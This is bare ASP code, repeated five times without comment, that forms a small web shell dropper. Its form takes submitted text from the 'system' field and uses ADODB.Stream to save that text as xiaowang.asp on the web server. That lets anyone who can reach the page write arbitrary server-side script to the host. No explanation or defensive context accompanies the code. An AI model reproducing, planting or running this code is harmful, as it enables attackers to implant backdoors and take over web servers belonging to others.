<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="UTF-8"%>
<%s.writetext request("system")%>
<%s.SaveToFile server.mappath("xiaowang.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=system cols=80 rows=10 width=32></textarea>
<input type=submit>
</form>

<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="UTF-8"%>
<%s.writetext request("system")%>
<%s.SaveToFile server.mappath("xiaowang.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=system cols=80 rows=10 width=32></textarea>
<input type=submit>
</form>

<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="UTF-8"%>
<%s.writetext request("system")%>
<%s.SaveToFile server.mappath("xiaowang.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=system cols=80 rows=10 width=32></textarea>
<input type=submit>
</form>
<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="UTF-8"%>
<%s.writetext request("system")%>
<%s.SaveToFile server.mappath("xiaowang.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=system cols=80 rows=10 width=32></textarea>
<input type=submit>
</form>
<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="UTF-8"%>
<%s.writetext request("system")%>
<%s.SaveToFile server.mappath("xiaowang.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=system cols=80 rows=10 width=32></textarea>
<input type=submit>
</form>